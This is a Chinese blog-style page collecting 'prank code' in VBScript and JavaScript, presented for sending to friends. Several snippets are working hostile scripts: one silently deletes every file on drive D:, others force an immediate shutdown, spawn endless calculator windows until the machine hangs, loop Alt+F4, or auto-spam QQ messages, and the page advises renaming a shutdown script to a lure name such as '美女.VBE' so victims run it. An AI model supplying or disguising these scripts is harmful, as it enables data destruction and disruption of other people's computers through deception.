整人代码网站(整人代码微信)
admin 发布:2022-12-19 23:59 120
今天给各位分享整人代码网站的知识,其中也会对整人代码微信进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!
本文目录一览:
整人代码大全
01
【代码一】
你打开好友的聊天对话框,然后记下在你QQ里好友的昵称,把下面代码里的xx替换一下,就可以自定义发送QQ信息到好友的次数(代码里的数字10改一下即可)。
代码如下:
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("与 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
02
【代码二】
我就用这个程序放在学校图书馆查询书刊的机器上,好多人都拿它没办法。
do
msgbox "You are foolish!"
loop
03
【代码三】
打开无数个计算器,直到死机。
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
04
【代码四】
直接关机。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
05
【代码五】
删除D:\所有文件。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
06
【代码六】
不断弹出窗口
while(1)
msgbox "哈哈 你被耍了!"
loop
07
【代码七】
不断按下alt+f4(开什么都关闭)。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
08
【代码八】
按500次回车 (以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)。
dim s
do until s=500
s=s+1
msgbox "哥们,给我按500次回车吧",64
loop
09
【代码九】
如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的
时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法。代码如下:
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪,不说我是猪就一分钟关机,不信,试下···"" ",0 ,true
dim a
do while(a "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"
10
【代码十】
网页整人效果代码,想看效果,只要复制这下面的所有代码保存在text文件里,修改文件后缀为txt就能看到效果了。
html
head
meta http-equiv="Content-Type" content="text/html; charset=gb2312"
title网页特效|Linkweb.cn/Js|---很恶心的常见整人效果/title
/head
body
a href="" onMouseover="alert('为什么把鼠标放到这里?');
alert('我不是说过不可以这样吗?');
alert('你把我的话当什么了?');
alert('你知道错了吗?');
alert('什么?你居然....');
alert('居然还没意识到自己做错了?');
alert('那好,你要为此付出代价!');
alert('我要你在这里点足一千下......');
alert('什么?你开始有点后悔了?');
alert('何必呢?');
alert('你当初干什么去了?');
alert('不原谅你!');
alert('好从现在开始再点995下......');
alert('你的手开始累了吗?');
alert('什么?你已经没力气了?');
alert('你一直在求我原谅你啊!');
alert('看来你是真的知道错了!');
alert('下次你还会这么做吗?');
alert('真的不会了?');
alert('那好,今天就放你一马!');
alert('写封信给我说声对不起!');
alert('你能这么做我很高兴!!!');
document.bgColor='black';
document.fgColor='White';
window.location.href='mailto:mygod@god?subject=对不起,下次不敢了!';"不许把鼠标移到这里/a
/body
/html
手机qq整人代码大全谁有? 发一下 谢谢
第一步,将以下代码复制到记事本中。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""快说潮流哥特,不说就30秒关你机,不信,试试···"" ",0 ,true
dim a
do while(a "潮流哥特")
a = inputbox ("说潮流哥特,不然就不关机,快撒,说 ""潮流哥特"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
上面的文字可以随便改,不印象效果。如果发给MM,你可以逼她说“我爱你”。方法是把上面的“QQ客是好网站”改成“快说我爱你” 内容来自
第二步,将记事本文件重命名为 ***.VBE(文件名可以任意起,如“美女.VBE”)
如果谁运行了这个QQ炸弹,在30秒后会自动关机。
下面说一下使用方法:
最简单的使用方法是,你直接发给好友,让他运行,然后他就中招了。
WScript.Echo("谁令你打开这个软件的")
WScript.Echo("这个软件会让你无聊啊!")
WScript.Echo("推荐你来的肯定是个坏蛋!")
WScript.Echo("欢迎来到被整软件站!")
WScript.Echo("是谁设计的?")
WScript.Echo("Is me")
WScript.Echo("你好,你要点30次确定哦!")
WScript.Echo("1")
WScript.Echo("2")
WScript.Echo("3")
WScript.Echo("begin")
求整人网站代码
alert("欢迎你来到这里!");alert("真的,你走运了!");alert("你真厉害");alert("你是怎样知道本站的?") ;alert("同学介绍的吗?");alert("哈哈呵呵");alert("你被他骗了!");alert("别难过了~~~");alert(" 他或许是和你开玩笑的");alert("但是玩笑开过头了");alert("竟然把你带到这个地方");alert("哎,真是的!");alert("你回去扁他一顿就行了");alert("可是你怎么能回去呢?");alert("我也没办法");alert("要不。。。");alert("把机子关了吧!");alert("什么?你不愿意关?");alert("那怎么办呢?");alert("让我再想想");alert("对不起,实在没有办法了!");alert("都是我不好,让你受那么大委屈!");alert("但是现在你该怎么办呢?");alert("哎呀!求你了!!别哭好不好?!");alert("都是我的错,行了吗?");alert("什么?不行?");alert("别这样嘛!");alert("我给你讲个故事行吗?");alert("从前有个山");alert("山上有个庙");alert("庙里有个老和尚有个小和尚");alert("老和尚正在给小和尚讲故事");alert("从前有个山");alert("山上有个庙。。。。");alert("别骂我呀?");alert("你不愿听这个我给你换一个");alert("从前有个山");alert("山上有个庵");alert("庵里有个老尼姑有个小尼姑");alert("老尼姑。。。哎呦别打了,我换一个!");alert("讲个好听的");alert("仔细听啊");alert("从前有个山");alert("呵呵,先别打,和那个不一样!");alert("山上有个庙");alert("哎呦,听我讲完!");alert("庙里有个缸");alert("不一样了吧");alert("缸里有个瓢");alert("瓢里有个碗");alert("碗里有个勺");alert("勺里有块肉");alert("我吃了你馋了");alert(" 我的故事讲完了!");alert("好不好?");alert("什么?还想听?");alert("那好,我再来一个!");alert("从前");alert("有一个小孩牵个羊");alert("我的故事就这么长");alert("你不愿意听是吗?");alert("那怎么办?");alert("你已经出不去了");alert("还是关掉电脑来的干脆");alert("试试吧");alert("还是不愿关?");alert("那我再给你讲故事!");alert("哎哎,别哭嘛!");alert("哭的我挺伤心的");alert("你真的出不去了");alert("你还不泄气?");alert("我佩服你这种精神!");alert("你坚持这么久一定很急了");alert("你还真能坚持!");alert("你一定知道“坚持就是胜利”");alert("对不对?");alert("如果你有这种精神的话---");alert(" 你一定会成功的!");alert("相信我");alert("你快看到希望了");alert("我不骗你");alert("真的!");alert("你马上就会找到出口的");alert("多亏你坚持了下来");alert("要不,关了机子多不好!");alert("是不是?");alert("对不对?");alert("喂!给你说点正事!");alert("一个人受骗是不是很难受?");alert("想不想让别人替你分担一下?");alert("我的意思是----");alert("把你的朋友叫过来!");alert("让他也受骗");alert(" 你就在一旁哈哈大笑~~~");alert("好不好?");alert("什么?出卖朋友的事你不干?");alert("你真是好人!");alert("我太感动了!");alert("呜呜~~~~~~");alert("也好,我从不难为好人!");alert("我决定 ----");alert("让好人多在我身边一会!");alert("你愿不愿意?");alert("怎么还不愿意?");alert("那好,我马上让你出去!");alert("别着急!");alert("你只需再点100000下就可以了!");alert("开个玩笑");alert(" 不要生气");alert("人生就像一场戏");alert("因为有缘才相聚");alert("相扶到老不容易");alert("是否更该去珍惜");alert("他人生气我不气");alert("气出病来无人替");alert("我说的对不对?");alert("好了");alert("玩笑也开过了");alert("该说的也说了");alert("该放你出去了!");alert("高兴了吧");alert("最后提醒你一下");alert("永远不要忘记自己是中国人!");alert("跟我宣誓!");alert("听见没有?跟我宣誓!");alert("我是一个中国人!");alert("我永远不背叛祖国!!");alert("誓与一切反对祖国统一的势力斗争到底!!!");alert("全心全意为人民服务!");alert("好好学习天天向上");alert("为把我国建设成为富强民主文明的社会主义现代化国家而奋斗!");alert("又说多了!");alert("不要忘了你的誓言!");alert("祝贺你!你终于出来了!恭喜恭喜!");
整人代码网站的介绍就聊到这里吧,感谢你花时间阅读本站内容,更多关于整人代码微信、整人代码网站的信息别忘了在本站进行查找喔。
版权说明:如非注明,本站文章均为 AH站长 原创,转载请注明出处和附带本文链接;
相关推荐
- 05-19如何推广网站,如何推广网站让客户下单
- 05-19如何做网站,如何做网站网页
- 05-19广东网站seo,广东网站制作
- 05-19网站如何优化一个关键词,怎么优化一个网站关键词
- 05-19seo网站,seo网站是什么意思
- 05-19免费seo网站自动推广,国内免费舆情网站有哪些软件
- 05-19怎么做网站,怎么做网站教程视频
- 05-19推广平台网站,推广平台网站犯法吗
- 05-19怎么免费创建自己的网站,怎么免费创建自己的网站平台
- 05-18seo网站优化,seo网站优化是做什么的
取消回复欢迎 你 发表评论:
- 标签列表
- 最近发表
- 友情链接